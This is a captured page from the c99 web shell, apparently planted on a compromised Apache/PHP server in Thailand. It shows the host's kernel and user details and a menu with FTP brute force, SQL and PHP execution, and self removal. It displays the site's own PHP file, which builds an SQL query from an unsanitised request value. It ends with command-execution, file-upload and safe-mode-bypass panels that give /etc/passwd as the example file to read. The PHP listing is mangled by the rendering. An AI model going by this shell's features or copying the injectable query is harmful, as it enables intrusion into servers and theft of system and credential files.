!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/plan/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmStraproject.php (4.33 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        require_once( 
"../include/Function.php" );

        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
$Username $valid_user;
        
        
/**  Config Table for This Page  */
        
$myTable "projectstra_type_tb";
        
$myTable1 "prostrategymap_tb";
        
$myTablePK "Orderlist";
        
    
$query " SELECT *  FROM $myTable  WHERE    ProstrId='$ProstrId'    ";
    
$result $dbObj->execQuery($query);
    
$rs $dbObj->fetchArray($result);
    
    
//$query = " SELECT *  FROM $myTable1 Where   StratempId ='$StratempId'    ";
    //$result1 = $dbObj->execQuery($query);
    //$rs1 = $dbObj->fetchArray($result1);
    
    
# else

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>

<table width="586" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td width="586" height="163">
          <fieldset>
            <form action="EditStraproject.php" method="post" enctype="multipart/form-data" name="pc" id="pc">
              <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style="border:0px solid gray; font-size: 18px;"size="12">
                <tr bgcolor="#BFD0E6">
                  <td height="24" colspan="3" bgcolor="#FFFFFF"><div align="center" class="style1"><font color="#000000" face="Tahoma"><strong>แก้ไขแผนกลยุทธ์</strong></font></div></td>
                </tr>
                <tr bordercolor="#99CCFF" bgcolor="#86ade2">
                  <td width="4%" align="right" bgcolor="#FFFFFF">&nbsp;</td>
                  <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
                  <td width="95%" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                    <select name="StratempId" id="StratempId">
                      <option value=""></option>
                      <?php
                  $sql1 
" SELECT *  FROM $myTable1    ORDER BY  StratempId   ASC ";
                  
$result1 mysql_query($sql1);
                  while( 
$rs4 mysql_fetch_array($result1) ) {
                
?>
                      <option value="<?=$rs4['StratempId'];?><?php if( $rs4['StratempId']==$rs['StratempId']  ) echo 'selected';?>>
                         <?=$rs4['StrateName'];?>
                                     </option>
                      <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                  </select>
                  </font></strong></font></td>
                </tr>
                <tr bgcolor="#eeeeee">
                  <td height="20" align="right" bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF">&nbsp;</td>
                  <td bordercolor="#FFFFCC" bgcolor="#FFFFFF"  ><? echo $rs[ProstrId]?></td>
                </tr>
                <tr bgcolor="#BFD0E6">
                  <td height="28" colspan="3" align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value=" บันทึกข้อมูล" class="button" />
                    <input type="reset" name="Submit" value=" เคลียร์ข้อมูล" class="button" id="Submit" />
 <input type="button" name="Submit" value="ปิดหน้าต่าง" onclick="javascript:parent.close();" class="CURSOR-HAND" id="Submit" />
<font color="#006633" size="2" face="Tahoma">
<input name="ProstrId" type="hidden" id="ProstrId" value="<? echo $rs[ProstrId]?>" />
<input name="Trem" type="hidden" id="Trem" value="<? echo $rs[Trem]?>" />
</font></td>
                </tr>
              </table>
            </form>
              
            </label>
        </fieldset>
        
    </td>
  </tr>
</table>

<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0066 ]--